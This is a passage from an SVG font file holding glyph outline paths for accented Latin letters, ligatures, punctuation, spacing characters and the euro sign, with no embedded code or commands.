<glyph unicode="&#xd1;" horiz-adv-x="1708" d="M158 0v1462h516l532 -1016h6q-14 221 -14 355v661h352v-1462h-518l-534 1030h-9q19 -243 19 -371v-659h-350zM434 1575q11 175 72 258.5t180 83.5q38 0 81 -15t87 -33t87 -33t81 -15q29 0 46 25t26 73h182q-11 -167 -74 -254.5t-172 -87.5q-45 0 -90.5 15t-89.5 33 t-85.5 33t-78.5 15q-54 0 -72 -98h-180z" />
<glyph unicode="&#xd2;" horiz-adv-x="1632" d="M104 735q0 365 182.5 557.5t530.5 192.5q349 0 529 -191t180 -561q0 -369 -181 -561t-530 -192q-344 0 -527.5 193t-183.5 562zM520 733q0 -424 295 -424q150 0 222.5 103t72.5 321q0 219 -73.5 323.5t-219.5 104.5q-297 0 -297 -428zM397 1886v21h430q52 -70 203 -233 l59 -66v-29h-260q-69 44 -203.5 138.5t-228.5 168.5z" />
<glyph unicode="&#xd3;" horiz-adv-x="1632" d="M104 735q0 365 182.5 557.5t530.5 192.5q349 0 529 -191t180 -561q0 -369 -181 -561t-530 -192q-344 0 -527.5 193t-183.5 562zM520 733q0 -424 295 -424q150 0 222.5 103t72.5 321q0 219 -73.5 323.5t-219.5 104.5q-297 0 -297 -428zM583 1579v29q154 165 195.5 213 t68.5 86h428v-21q-80 -64 -220 -163t-212 -144h-260z" />
<glyph unicode="&#xd4;" horiz-adv-x="1632" d="M104 735q0 365 182.5 557.5t530.5 192.5q349 0 529 -191t180 -561q0 -369 -181 -561t-530 -192q-344 0 -527.5 193t-183.5 562zM520 733q0 -424 295 -424q150 0 222.5 103t72.5 321q0 219 -73.5 323.5t-219.5 104.5q-297 0 -297 -428zM363 1579v29q69 65 144.5 153 t113.5 146h393q94 -137 256 -299v-29h-254q-84 48 -201 150q-125 -107 -194 -150h-258z" />
<glyph unicode="&#xd5;" horiz-adv-x="1632" d="M104 735q0 365 182.5 557.5t530.5 192.5q349 0 529 -191t180 -561q0 -369 -181 -561t-530 -192q-344 0 -527.5 193t-183.5 562zM520 733q0 -424 295 -424q150 0 222.5 103t72.5 321q0 219 -73.5 323.5t-219.5 104.5q-297 0 -297 -428zM401 1575q11 175 72 258.5t180 83.5 q38 0 81 -15t87 -33t87 -33t81 -15q29 0 46 25t26 73h182q-11 -167 -74 -254.5t-172 -87.5q-45 0 -90.5 15t-89.5 33t-85.5 33t-78.5 15q-54 0 -72 -98h-180z" />
<glyph unicode="&#xd6;" horiz-adv-x="1632" d="M104 735q0 365 182.5 557.5t530.5 192.5q349 0 529 -191t180 -561q0 -369 -181 -561t-530 -192q-344 0 -527.5 193t-183.5 562zM520 733q0 -424 295 -424q150 0 222.5 103t72.5 321q0 219 -73.5 323.5t-219.5 104.5q-297 0 -297 -428zM403 1751q0 75 46 116.5t124 41.5 q79 0 125.5 -42.5t46.5 -115.5q0 -71 -46.5 -113.5t-125.5 -42.5q-78 0 -124 41t-46 115zM882 1751q0 75 46 116.5t126 41.5t126.5 -43t46.5 -115q0 -71 -46.5 -113.5t-126.5 -42.5q-81 0 -126.5 41.5t-45.5 114.5z" />
<glyph unicode="&#xd7;" horiz-adv-x="1159" d="M121 991l182 189l270 -267l275 267l188 -183l-274 -274l270 -272l-184 -185l-275 271l-270 -269l-180 187l264 268z" />
<glyph unicode="&#xd8;" horiz-adv-x="1632" d="M104 735q0 365 182.5 557.5t530.5 192.5q191 0 330 -55l76 118l190 -114l-82 -125q195 -189 195 -576q0 -369 -181 -561t-530 -192q-177 0 -307 43l-84 -132l-193 125l84 125q-211 194 -211 594zM520 733q0 -155 29 -239l403 639q-68 28 -135 28q-297 0 -297 -428z M698 324q54 -15 117 -15q150 0 222.5 103t72.5 321q0 125 -18 211z" />
<glyph unicode="&#xd9;" horiz-adv-x="1550" d="M150 573v889h397v-858q0 -155 58 -225t171 -70q121 0 175.5 69.5t54.5 227.5v856h395v-880q0 -287 -162.5 -444.5t-468.5 -157.5q-299 0 -459.5 153t-160.5 440zM280 1886v21h430q52 -70 203 -233l59 -66v-29h-260q-69 44 -203.5 138.5t-228.5 168.5z" />
<glyph unicode="&#xda;" horiz-adv-x="1550" d="M150 573v889h397v-858q0 -155 58 -225t171 -70q121 0 175.5 69.5t54.5 227.5v856h395v-880q0 -287 -162.5 -444.5t-468.5 -157.5q-299 0 -459.5 153t-160.5 440zM561 1579v29q154 165 195.5 213t68.5 86h428v-21q-80 -64 -220 -163t-212 -144h-260z" />
<glyph unicode="&#xdb;" horiz-adv-x="1550" d="M150 573v889h397v-858q0 -155 58 -225t171 -70q121 0 175.5 69.5t54.5 227.5v856h395v-880q0 -287 -162.5 -444.5t-468.5 -157.5q-299 0 -459.5 153t-160.5 440zM322 1579v29q69 65 144.5 153t113.5 146h393q94 -137 256 -299v-29h-254q-84 48 -201 150 q-125 -107 -194 -150h-258z" />
<glyph unicode="&#xdc;" horiz-adv-x="1550" d="M150 573v889h397v-858q0 -155 58 -225t171 -70q121 0 175.5 69.5t54.5 227.5v856h395v-880q0 -287 -162.5 -444.5t-468.5 -157.5q-299 0 -459.5 153t-160.5 440zM362 1751q0 75 46 116.5t124 41.5q79 0 125.5 -42.5t46.5 -115.5q0 -71 -46.5 -113.5t-125.5 -42.5 q-78 0 -124 41t-46 115zM841 1751q0 75 46 116.5t126 41.5t126.5 -43t46.5 -115q0 -71 -46.5 -113.5t-126.5 -42.5q-81 0 -126.5 41.5t-45.5 114.5z" />
<glyph unicode="&#xdd;" horiz-adv-x="1360" d="M0 1462h430l250 -542l252 542h428l-481 -891v-571h-398v559zM471 1579v29q154 165 195.5 213t68.5 86h428v-21q-80 -64 -220 -163t-212 -144h-260z" />
<glyph unicode="&#xde;" horiz-adv-x="1284" d="M158 0v1462h395v-213h111q277 0 416 -121t139 -344q0 -245 -144.5 -378.5t-410.5 -133.5h-111v-272h-395zM553 594h72q89 0 141.5 50t52.5 138q0 148 -164 148h-102v-336z" />
<glyph unicode="&#xdf;" horiz-adv-x="1536" d="M135 0v1100q0 215 167 341t446 126q276 0 433.5 -99.5t157.5 -277.5q0 -57 -20 -103.5t-49.5 -84t-64.5 -66.5t-64.5 -52t-49.5 -41t-20 -32q0 -23 24.5 -44t93.5 -58q169 -95 228.5 -173t59.5 -202q0 -174 -115 -264t-338 -90q-136 0 -221.5 12.5t-149.5 46.5v291 q49 -30 131.5 -55t147.5 -25q61 0 99 23.5t38 62.5q0 28 -14.5 47t-50.5 42.5t-121 68.5q-126 67 -175 124.5t-49 137.5q0 122 140 218q75 52 107 91.5t32 83.5q0 51 -49.5 85t-140.5 34q-222 0 -222 -209v-1059h-391z" />
<glyph unicode="&#xe0;" horiz-adv-x="1276" d="M74 346q0 181 126 269.5t365 99.5l189 6v16q0 140 -138 140q-124 0 -315 -84l-113 258q198 102 500 102q218 0 337.5 -108t119.5 -302v-743h-271l-75 150h-8q-79 -98 -161 -134t-212 -36q-160 0 -252 96t-92 270zM473 360q0 -104 111 -104q71 0 121.5 45t50.5 117v88 l-90 -4q-193 -7 -193 -142zM204 1548v21h430q52 -70 203 -233l59 -66v-29h-260q-69 44 -203.5 138.5t-228.5 168.5z" />
<glyph unicode="&#xe1;" horiz-adv-x="1276" d="M74 346q0 181 126 269.5t365 99.5l189 6v16q0 140 -138 140q-124 0 -315 -84l-113 258q198 102 500 102q218 0 337.5 -108t119.5 -302v-743h-271l-75 150h-8q-79 -98 -161 -134t-212 -36q-160 0 -252 96t-92 270zM473 360q0 -104 111 -104q71 0 121.5 45t50.5 117v88 l-90 -4q-193 -7 -193 -142zM434 1241v29q154 165 195.5 213t68.5 86h428v-21q-80 -64 -220 -163t-212 -144h-260z" />
<glyph unicode="&#xe2;" horiz-adv-x="1276" d="M74 346q0 181 126 269.5t365 99.5l189 6v16q0 140 -138 140q-124 0 -315 -84l-113 258q198 102 500 102q218 0 337.5 -108t119.5 -302v-743h-271l-75 150h-8q-79 -98 -161 -134t-212 -36q-160 0 -252 96t-92 270zM473 360q0 -104 111 -104q71 0 121.5 45t50.5 117v88 l-90 -4q-193 -7 -193 -142zM197 1238v29q69 65 144.5 153t113.5 146h393q94 -137 256 -299v-29h-254q-84 48 -201 150q-125 -107 -194 -150h-258z" />
<glyph unicode="&#xe3;" horiz-adv-x="1276" d="M74 346q0 181 126 269.5t365 99.5l189 6v16q0 140 -138 140q-124 0 -315 -84l-113 258q198 102 500 102q218 0 337.5 -108t119.5 -302v-743h-271l-75 150h-8q-79 -98 -161 -134t-212 -36q-160 0 -252 96t-92 270zM473 360q0 -104 111 -104q71 0 121.5 45t50.5 117v88 l-90 -4q-193 -7 -193 -142zM244 1237q11 175 72 258.5t180 83.5q38 0 81 -15t87 -33t87 -33t81 -15q29 0 46 25t26 73h182q-11 -167 -74 -254.5t-172 -87.5q-45 0 -90.5 15t-89.5 33t-85.5 33t-78.5 15q-54 0 -72 -98h-180z" />
<glyph unicode="&#xe4;" horiz-adv-x="1276" d="M74 346q0 181 126 269.5t365 99.5l189 6v16q0 140 -138 140q-124 0 -315 -84l-113 258q198 102 500 102q218 0 337.5 -108t119.5 -302v-743h-271l-75 150h-8q-79 -98 -161 -134t-212 -36q-160 0 -252 96t-92 270zM473 360q0 -104 111 -104q71 0 121.5 45t50.5 117v88 l-90 -4q-193 -7 -193 -142zM268 1413q0 75 46 116.5t124 41.5q79 0 125.5 -42.5t46.5 -115.5q0 -71 -46.5 -113.5t-125.5 -42.5q-78 0 -124 41t-46 115zM747 1413q0 75 46 116.5t126 41.5t126.5 -43t46.5 -115q0 -71 -46.5 -113.5t-126.5 -42.5q-81 0 -126.5 41.5 t-45.5 114.5z" />
<glyph unicode="&#xe5;" horiz-adv-x="1276" d="M74 346q0 181 126 269.5t365 99.5l189 6v16q0 140 -138 140q-124 0 -315 -84l-113 258q198 102 500 102q218 0 337.5 -108t119.5 -302v-743h-271l-75 150h-8q-79 -98 -161 -134t-212 -36q-160 0 -252 96t-92 270zM473 360q0 -104 111 -104q71 0 121.5 45t50.5 117v88 l-90 -4q-193 -7 -193 -142zM389 1489q0 116 71.5 185t192.5 69q118 0 195 -70t77 -182q0 -113 -76 -183.5t-196 -70.5q-121 0 -192.5 68.5t-71.5 183.5zM569 1489q0 -37 21 -60.5t63 -23.5q35 0 59.5 23.5t24.5 60.5q0 38 -24.5 61t-59.5 23t-59.5 -23t-24.5 -61z" />
<glyph unicode="&#xe6;" horiz-adv-x="1915" d="M74 352q0 345 497 363l183 6v18q0 138 -136 138q-138 0 -313 -80l-110 256q190 100 454 100q201 0 336 -94q70 49 153 71.5t199 22.5q229 0 360.5 -136.5t131.5 -383.5v-172h-696q4 -90 74 -146.5t186 -56.5q194 0 364 86v-281q-94 -48 -191 -65.5t-225 -17.5 q-280 0 -430 190q-80 -83 -141.5 -120.5t-138.5 -53.5t-197 -16q-162 0 -261 101.5t-99 270.5zM473 356q0 -100 113 -100q69 0 119.5 45t50.5 117v88l-84 -4q-106 -4 -152.5 -38.5t-46.5 -107.5zM1139 707h340q-2 82 -48 131t-116 49q-162 0 -176 -180z" />
<glyph unicode="&#xe7;" horiz-adv-x="1104" d="M86 561q0 282 155 437t441 155q197 0 371 -86l-115 -289q-71 31 -131 49.5t-125 18.5q-95 0 -147 -74t-52 -209q0 -272 201 -272q172 0 330 100v-311q-151 -100 -363 -100q-278 0 -421.5 150t-143.5 431zM361 -258q83 -27 147 -27q52 0 52 47q0 33 -41 58.5t-107 40.5 l72 139h203l-9 -29q96 -39 133 -92.5t37 -130.5q0 -109 -75 -174.5t-199 -65.5q-136 0 -213 29v205z" />
<glyph unicode="&#xe8;" horiz-adv-x="1266" d="M86 559q0 287 145 440.5t414 153.5q256 0 395.5 -133.5t139.5 -384.5v-174h-699q4 -95 69.5 -149t178.5 -54q103 0 189.5 19.5t187.5 66.5v-281q-92 -47 -190 -65t-234 -18q-283 0 -439.5 150.5t-156.5 428.5zM489 707h336q-2 82 -46.5 131t-119.5 49q-69 0 -115.5 -43.5 t-54.5 -136.5zM189 1548v21h430q52 -70 203 -233l59 -66v-29h-260q-69 44 -203.5 138.5t-228.5 168.5z" />
<glyph unicode="&#xe9;" horiz-adv-x="1266" d="M86 559q0 287 145 440.5t414 153.5q256 0 395.5 -133.5t139.5 -384.5v-174h-699q4 -95 69.5 -149t178.5 -54q103 0 189.5 19.5t187.5 66.5v-281q-92 -47 -190 -65t-234 -18q-283 0 -439.5 150.5t-156.5 428.5zM489 707h336q-2 82 -46.5 131t-119.5 49q-69 0 -115.5 -43.5 t-54.5 -136.5zM471 1241v29q154 165 195.5 213t68.5 86h428v-21q-80 -64 -220 -163t-212 -144h-260z" />
<glyph unicode="&#xea;" horiz-adv-x="1266" d="M86 559q0 287 145 440.5t414 153.5q256 0 395.5 -133.5t139.5 -384.5v-174h-699q4 -95 69.5 -149t178.5 -54q103 0 189.5 19.5t187.5 66.5v-281q-92 -47 -190 -65t-234 -18q-283 0 -439.5 150.5t-156.5 428.5zM489 707h336q-2 82 -46.5 131t-119.5 49q-69 0 -115.5 -43.5 t-54.5 -136.5zM205 1241v29q69 65 144.5 153t113.5 146h393q94 -137 256 -299v-29h-254q-84 48 -201 150q-125 -107 -194 -150h-258z" />
<glyph unicode="&#xeb;" horiz-adv-x="1266" d="M86 559q0 287 145 440.5t414 153.5q256 0 395.5 -133.5t139.5 -384.5v-174h-699q4 -95 69.5 -149t178.5 -54q103 0 189.5 19.5t187.5 66.5v-281q-92 -47 -190 -65t-234 -18q-283 0 -439.5 150.5t-156.5 428.5zM489 707h336q-2 82 -46.5 131t-119.5 49q-69 0 -115.5 -43.5 t-54.5 -136.5zM252 1413q0 75 46 116.5t124 41.5q79 0 125.5 -42.5t46.5 -115.5q0 -71 -46.5 -113.5t-125.5 -42.5q-78 0 -124 41t-46 115zM731 1413q0 75 46 116.5t126 41.5t126.5 -43t46.5 -115q0 -71 -46.5 -113.5t-126.5 -42.5q-81 0 -126.5 41.5t-45.5 114.5z" />
<glyph unicode="&#xec;" horiz-adv-x="666" d="M137 0v1133h391v-1133h-391zM-130 1548v21h430q52 -70 203 -233l59 -66v-29h-260q-69 44 -203.5 138.5t-228.5 168.5z" />
<glyph unicode="&#xed;" horiz-adv-x="666" d="M137 0v1133h391v-1133h-391zM107 1241v29q154 165 195.5 213t68.5 86h428v-21q-80 -64 -220 -163t-212 -144h-260z" />
<glyph unicode="&#xee;" horiz-adv-x="666" d="M137 0v1133h391v-1133h-391zM-120 1241v29q69 65 144.5 153t113.5 146h393q94 -137 256 -299v-29h-254q-84 48 -201 150q-125 -107 -194 -150h-258z" />
<glyph unicode="&#xef;" horiz-adv-x="666" d="M137 0v1133h391v-1133h-391zM-61 1413q0 75 46 116.5t124 41.5q79 0 125.5 -42.5t46.5 -115.5q0 -71 -46.5 -113.5t-125.5 -42.5q-78 0 -124 41t-46 115zM418 1413q0 75 46 116.5t126 41.5t126.5 -43t46.5 -115q0 -71 -46.5 -113.5t-126.5 -42.5q-81 0 -126.5 41.5 t-45.5 114.5z" />
<glyph unicode="&#xf0;" horiz-adv-x="1313" d="M88 498q0 239 130.5 377.5t348.5 138.5q192 0 244 -84l8 4q-67 130 -143 207l-182 -119l-117 184l143 92l-149 93l108 182q174 -73 266 -135l209 137l115 -182l-145 -97q159 -157 226 -327.5t67 -388.5q0 -275 -152.5 -437.5t-415.5 -162.5q-259 0 -410 139t-151 379z M489 500q0 -242 164 -242q91 0 127.5 71t36.5 216q0 84 -45 136t-119 52q-92 0 -128 -56t-36 -177z" />
<glyph unicode="&#xf1;" horiz-adv-x="1372" d="M135 0v1133h295l49 -140h23q50 80 138.5 120t203.5 40q188 0 292.5 -109t104.5 -307v-737h-391v618q0 113 -32.5 170.5t-104.5 57.5q-99 0 -143 -79t-44 -271v-496h-391zM274 1237q11 175 72 258.5t180 83.5q38 0 81 -15t87 -33t87 -33t81 -15q29 0 46 25t26 73h182 q-11 -167 -74 -254.5t-172 -87.5q-45 0 -90.5 15t-89.5 33t-85.5 33t-78.5 15q-54 0 -72 -98h-180z" />
<glyph unicode="&#xf2;" horiz-adv-x="1305" d="M86 569q0 277 149.5 430.5t419.5 153.5q167 0 295 -71t197.5 -203.5t69.5 -309.5q0 -278 -149.5 -433.5t-418.5 -155.5q-258 0 -410.5 159t-152.5 430zM483 569q0 -146 39 -222.5t131 -76.5q91 0 128.5 76.5t37.5 222.5q0 145 -38 219t-130 74q-90 0 -129 -73.5 t-39 -219.5zM175 1548v21h430q52 -70 203 -233l59 -66v-29h-260q-69 44 -203.5 138.5t-228.5 168.5z" />
<glyph unicode="&#xf3;" horiz-adv-x="1305" d="M86 569q0 277 149.5 430.5t419.5 153.5q167 0 295 -71t197.5 -203.5t69.5 -309.5q0 -278 -149.5 -433.5t-418.5 -155.5q-258 0 -410.5 159t-152.5 430zM483 569q0 -146 39 -222.5t131 -76.5q91 0 128.5 76.5t37.5 222.5q0 145 -38 219t-130 74q-90 0 -129 -73.5 t-39 -219.5zM416 1241v29q154 165 195.5 213t68.5 86h428v-21q-80 -64 -220 -163t-212 -144h-260z" />
<glyph unicode="&#xf4;" horiz-adv-x="1305" d="M86 569q0 277 149.5 430.5t419.5 153.5q167 0 295 -71t197.5 -203.5t69.5 -309.5q0 -278 -149.5 -433.5t-418.5 -155.5q-258 0 -410.5 159t-152.5 430zM483 569q0 -146 39 -222.5t131 -76.5q91 0 128.5 76.5t37.5 222.5q0 145 -38 219t-130 74q-90 0 -129 -73.5 t-39 -219.5zM199 1241v29q69 65 144.5 153t113.5 146h393q94 -137 256 -299v-29h-254q-84 48 -201 150q-125 -107 -194 -150h-258z" />
<glyph unicode="&#xf5;" horiz-adv-x="1305" d="M86 569q0 277 149.5 430.5t419.5 153.5q167 0 295 -71t197.5 -203.5t69.5 -309.5q0 -278 -149.5 -433.5t-418.5 -155.5q-258 0 -410.5 159t-152.5 430zM483 569q0 -146 39 -222.5t131 -76.5q91 0 128.5 76.5t37.5 222.5q0 145 -38 219t-130 74q-90 0 -129 -73.5 t-39 -219.5zM231 1237q11 175 72 258.5t180 83.5q38 0 81 -15t87 -33t87 -33t81 -15q29 0 46 25t26 73h182q-11 -167 -74 -254.5t-172 -87.5q-45 0 -90.5 15t-89.5 33t-85.5 33t-78.5 15q-54 0 -72 -98h-180z" />
<glyph unicode="&#xf6;" horiz-adv-x="1305" d="M86 569q0 277 149.5 430.5t419.5 153.5q167 0 295 -71t197.5 -203.5t69.5 -309.5q0 -278 -149.5 -433.5t-418.5 -155.5q-258 0 -410.5 159t-152.5 430zM483 569q0 -146 39 -222.5t131 -76.5q91 0 128.5 76.5t37.5 222.5q0 145 -38 219t-130 74q-90 0 -129 -73.5 t-39 -219.5zM239 1413q0 75 46 116.5t124 41.5q79 0 125.5 -42.5t46.5 -115.5q0 -71 -46.5 -113.5t-125.5 -42.5q-78 0 -124 41t-46 115zM718 1413q0 75 46 116.5t126 41.5t126.5 -43t46.5 -115q0 -71 -46.5 -113.5t-126.5 -42.5q-81 0 -126.5 41.5t-45.5 114.5z" />
<glyph unicode="&#xf7;" horiz-adv-x="1159" d="M72 588v268h1013v-268h-1013zM422 332q0 82 39.5 126t116.5 44q75 0 116 -43.5t41 -126.5q0 -80 -43.5 -125t-113.5 -45q-71 0 -113.5 44t-42.5 126zM422 1112q0 82 39.5 126t116.5 44q75 0 116 -43.5t41 -126.5q0 -80 -43.5 -125t-113.5 -45q-71 0 -113.5 44t-42.5 126z " />
<glyph unicode="&#xf8;" horiz-adv-x="1362" d="M86 569q0 277 157 430.5t441 153.5q125 0 234 -39l71 111l168 -105l-67 -104q184 -158 184 -447q0 -280 -156.5 -434.5t-439.5 -154.5q-125 0 -229 34l-84 -131l-170 107l79 123q-188 158 -188 456zM461 569q0 -99 12 -147l289 448q-36 13 -82 13q-114 0 -166.5 -74 t-52.5 -240zM606 258q27 -8 76 -8q114 0 165.5 73t51.5 246q0 86 -10 131z" />
<glyph unicode="&#xf9;" horiz-adv-x="1372" d="M133 395v738h391v-619q0 -111 31.5 -168t103.5 -57q101 0 144 79.5t43 268.5v496h391v-1133h-295l-49 141h-23q-49 -78 -136.5 -119.5t-205.5 -41.5q-187 0 -291 108.5t-104 306.5zM175 1548v21h430q52 -70 203 -233l59 -66v-29h-260q-69 44 -203.5 138.5t-228.5 168.5z " />
<glyph unicode="&#xfa;" horiz-adv-x="1372" d="M133 395v738h391v-619q0 -111 31.5 -168t103.5 -57q101 0 144 79.5t43 268.5v496h391v-1133h-295l-49 141h-23q-49 -78 -136.5 -119.5t-205.5 -41.5q-187 0 -291 108.5t-104 306.5zM471 1241v29q154 165 195.5 213t68.5 86h428v-21q-80 -64 -220 -163t-212 -144h-260z " />
<glyph unicode="&#xfb;" horiz-adv-x="1372" d="M133 395v738h391v-619q0 -111 31.5 -168t103.5 -57q101 0 144 79.5t43 268.5v496h391v-1133h-295l-49 141h-23q-49 -78 -136.5 -119.5t-205.5 -41.5q-187 0 -291 108.5t-104 306.5zM230 1241v29q69 65 144.5 153t113.5 146h393q94 -137 256 -299v-29h-254 q-84 48 -201 150q-125 -107 -194 -150h-258z" />
<glyph unicode="&#xfc;" horiz-adv-x="1372" d="M133 395v738h391v-619q0 -111 31.5 -168t103.5 -57q101 0 144 79.5t43 268.5v496h391v-1133h-295l-49 141h-23q-49 -78 -136.5 -119.5t-205.5 -41.5q-187 0 -291 108.5t-104 306.5zM272 1413q0 75 46 116.5t124 41.5q79 0 125.5 -42.5t46.5 -115.5q0 -71 -46.5 -113.5 t-125.5 -42.5q-78 0 -124 41t-46 115zM751 1413q0 75 46 116.5t126 41.5t126.5 -43t46.5 -115q0 -71 -46.5 -113.5t-126.5 -42.5q-81 0 -126.5 41.5t-45.5 114.5z" />
<glyph unicode="&#xfd;" horiz-adv-x="1249" d="M-2 1133h412l192 -650q14 -51 19 -123h8q8 69 24 121l197 652h399l-448 -1205q-86 -230 -211.5 -325t-327.5 -95q-78 0 -160 17v307q53 -12 121 -12q52 0 91 20t68 56.5t62 119.5zM401 1241v29q154 165 195.5 213t68.5 86h428v-21q-80 -64 -220 -163t-212 -144h-260z" />
<glyph unicode="&#xfe;" horiz-adv-x="1317" d="M135 -492v2048h391v-344q0 -106 -18 -225h18q43 78 122 122t179 44q185 0 293.5 -154t108.5 -430q0 -271 -111.5 -430t-304.5 -159q-173 0 -287 129h-14l7 -60l7 -92v-449h-391zM526 571q0 -146 39 -211t123 -65q80 0 111.5 70.5t31.5 207.5q0 134 -33 203.5t-116 69.5 q-85 0 -119 -61.5t-37 -184.5v-29z" />
<glyph unicode="&#xff;" horiz-adv-x="1249" d="M-2 1133h412l192 -650q14 -51 19 -123h8q8 69 24 121l197 652h399l-448 -1205q-86 -230 -211.5 -325t-327.5 -95q-78 0 -160 17v307q53 -12 121 -12q52 0 91 20t68 56.5t62 119.5zM216 1413q0 75 46 116.5t124 41.5q79 0 125.5 -42.5t46.5 -115.5q0 -71 -46.5 -113.5 t-125.5 -42.5q-78 0 -124 41t-46 115zM695 1413q0 75 46 116.5t126 41.5t126.5 -43t46.5 -115q0 -71 -46.5 -113.5t-126.5 -42.5q-81 0 -126.5 41.5t-45.5 114.5z" />
<glyph unicode="&#x131;" horiz-adv-x="666" d="M137 0v1133h391v-1133h-391z" />
<glyph unicode="&#x152;" horiz-adv-x="1960" d="M104 735q0 359 175 554.5t497 195.5q67 0 143.5 -7t106.5 -16h836v-317h-473v-230h436v-317h-436v-276h473v-322h-844q-34 -8 -110.5 -14t-133.5 -6q-319 0 -494.5 200t-175.5 555zM520 733q0 -205 64.5 -314.5t191.5 -109.5q141 0 217 43v760q-34 23 -93 36t-122 13 q-125 0 -191.5 -109.5t-66.5 -318.5z" />
<glyph unicode="&#x153;" horiz-adv-x="2007" d="M86 569q0 277 149.5 430.5t419.5 153.5q226 0 375 -127q155 127 400 127q227 0 359 -136t132 -384v-172h-696q4 -90 74 -146.5t186 -56.5q194 0 364 86v-281q-92 -47 -187 -65t-228 -18q-238 0 -383 137q-151 -137 -402 -137q-258 0 -410.5 159t-152.5 430zM485 569 q0 -146 38 -222.5t130 -76.5q91 0 128.5 76.5t37.5 222.5q0 145 -38 219t-130 74q-89 0 -127.5 -74t-38.5 -219zM1231 707h340q-2 82 -48 131t-116 49q-162 0 -176 -180z" />
<glyph unicode="&#x178;" horiz-adv-x="1360" d="M0 1462h430l250 -542l252 542h428l-481 -891v-571h-398v559zM268 1751q0 75 46 116.5t124 41.5q79 0 125.5 -42.5t46.5 -115.5q0 -71 -46.5 -113.5t-125.5 -42.5q-78 0 -124 41t-46 115zM747 1751q0 75 46 116.5t126 41.5t126.5 -43t46.5 -115q0 -71 -46.5 -113.5 t-126.5 -42.5q-81 0 -126.5 41.5t-45.5 114.5z" />
<glyph unicode="&#x2c6;" horiz-adv-x="1237" d="M164 1241v29q69 65 144.5 153t113.5 146h393q94 -137 256 -299v-29h-254q-84 48 -201 150q-125 -107 -194 -150h-258z" />
<glyph unicode="&#x2da;" horiz-adv-x="1120" d="M293 1489q0 116 71.5 185t192.5 69q118 0 195 -70t77 -182q0 -113 -76 -183.5t-196 -70.5q-121 0 -192.5 68.5t-71.5 183.5zM473 1489q0 -37 21 -60.5t63 -23.5q35 0 59.5 23.5t24.5 60.5q0 38 -24.5 61t-59.5 23t-59.5 -23t-24.5 -61z" />
<glyph unicode="&#x2dc;" horiz-adv-x="1225" d="M176 1237q11 175 72 258.5t180 83.5q38 0 81 -15t87 -33t87 -33t81 -15q29 0 46 25t26 73h182q-11 -167 -74 -254.5t-172 -87.5q-45 0 -90.5 15t-89.5 33t-85.5 33t-78.5 15q-54 0 -72 -98h-180z" />
<glyph unicode="&#x2000;" horiz-adv-x="959" />
<glyph unicode="&#x2001;" horiz-adv-x="1919" />
<glyph unicode="&#x2002;" horiz-adv-x="959" />
<glyph unicode="&#x2003;" horiz-adv-x="1919" />
<glyph unicode="&#x2004;" horiz-adv-x="639" />
<glyph unicode="&#x2005;" horiz-adv-x="479" />
<glyph unicode="&#x2006;" horiz-adv-x="319" />
<glyph unicode="&#x2007;" horiz-adv-x="319" />
<glyph unicode="&#x2008;" horiz-adv-x="239" />
<glyph unicode="&#x2009;" horiz-adv-x="383" />
<glyph unicode="&#x200a;" horiz-adv-x="106" />
<glyph unicode="&#x2010;" horiz-adv-x="651" d="M43 393v312h565v-312h-565z" />
<glyph unicode="&#x2011;" horiz-adv-x="651" d="M43 393v312h565v-312h-565z" />
<glyph unicode="&#x2012;" horiz-adv-x="651" d="M43 393v312h565v-312h-565z" />
<glyph unicode="&#x2013;" horiz-adv-x="1024" d="M74 414v276h876v-276h-876z" />
<glyph unicode="&#x2014;" horiz-adv-x="2048" d="M74 414v276h1896v-276h-1896z" />
<glyph unicode="&#x2018;" horiz-adv-x="512" d="M20 899q100 391 177 561h278q-67 -312 -98 -583h-342z" />
<glyph unicode="&#x2019;" horiz-adv-x="512" d="M37 877q68 317 98 583h342l15 -22q-92 -366 -177 -561h-278z" />
<glyph unicode="&#x201a;" horiz-adv-x="633" d="M57 -285q29 138 58.5 309.5t40.5 274.5h342l14 -23q-97 -381 -176 -561h-279z" />
<glyph unicode="&#x201c;" horiz-adv-x="1022" d="M20 899q100 391 177 561h278q-67 -312 -98 -583h-342zM530 899q100 391 177 561h278q-67 -312 -98 -583h-342z" />
<glyph unicode="&#x201d;" horiz-adv-x="1022" d="M37 877q68 317 98 583h342l15 -22q-92 -366 -177 -561h-278zM547 877q68 317 98 583h342l14 -22q-93 -371 -176 -561h-278z" />
<glyph unicode="&#x201e;" horiz-adv-x="1143" d="M57 -285q29 138 58.5 309.5t40.5 274.5h342l14 -23q-97 -381 -176 -561h-279zM567 -285q29 138 58.5 309.5t40.5 274.5h342l14 -23q-97 -381 -176 -561h-279z" />
<glyph unicode="&#x2022;" horiz-adv-x="803" d="M74 748q0 174 84.5 267t242.5 93t243 -94.5t85 -265.5q0 -172 -87 -266.5t-241 -94.5q-155 0 -241 93t-86 268zM668 1133z" />
<glyph unicode="&#x2026;" horiz-adv-x="1776" d="M86 166q0 92 54.5 142t158.5 50q99 0 152 -50t53 -142q0 -90 -54.5 -140.5t-150.5 -50.5q-99 0 -156 50t-57 141zM678 166q0 92 54.5 142t158.5 50q99 0 152 -50t53 -142q0 -90 -54.5 -140.5t-150.5 -50.5q-99 0 -156 50t-57 141zM1270 166q0 92 54.5 142t158.5 50 q99 0 152 -50t53 -142q0 -90 -54.5 -140.5t-150.5 -50.5q-99 0 -156 50t-57 141z" />
<glyph unicode="&#x202f;" horiz-adv-x="383" />
<glyph unicode="&#x2039;" horiz-adv-x="819" d="M74 561v27l389 483l280 -149l-272 -347l272 -348l-280 -147z" />
<glyph unicode="&#x203a;" horiz-adv-x="819" d="M76 227l272 348l-272 347l282 149l387 -483v-27l-387 -481z" />
<glyph unicode="&#x2044;" horiz-adv-x="188" d="M-434 0l753 1462h302l-754 -1462h-301z" />
<glyph unicode="&#x205f;" horiz-adv-x="479" />
<glyph unicode="&#x2074;" horiz-adv-x="817" d="M29 725v188l350 555h295v-542h125v-201h-125v-139h-275v139h-370zM242 926h157v166q0 69 7 135q-40 -100 -62 -133z" />
<glyph unicode="&#x20ac;" d="M55 467v205h129l-2 21v22l2 43h-129v205h148q51 255 212.5 387.5t413.5 132.5q180 0 349 -76l-119 -299q-120 51 -230 51q-112 0 -171.5 -53.5t-71.5 -142.5h338v-205h-353l-2 -29v-14l2 -44v1h287v-205h-264q33 -164 260 -164q145 0 266 55v-323q-102 -55 -291 -55 q-253 0 -412 126t-206 361h-156z" />
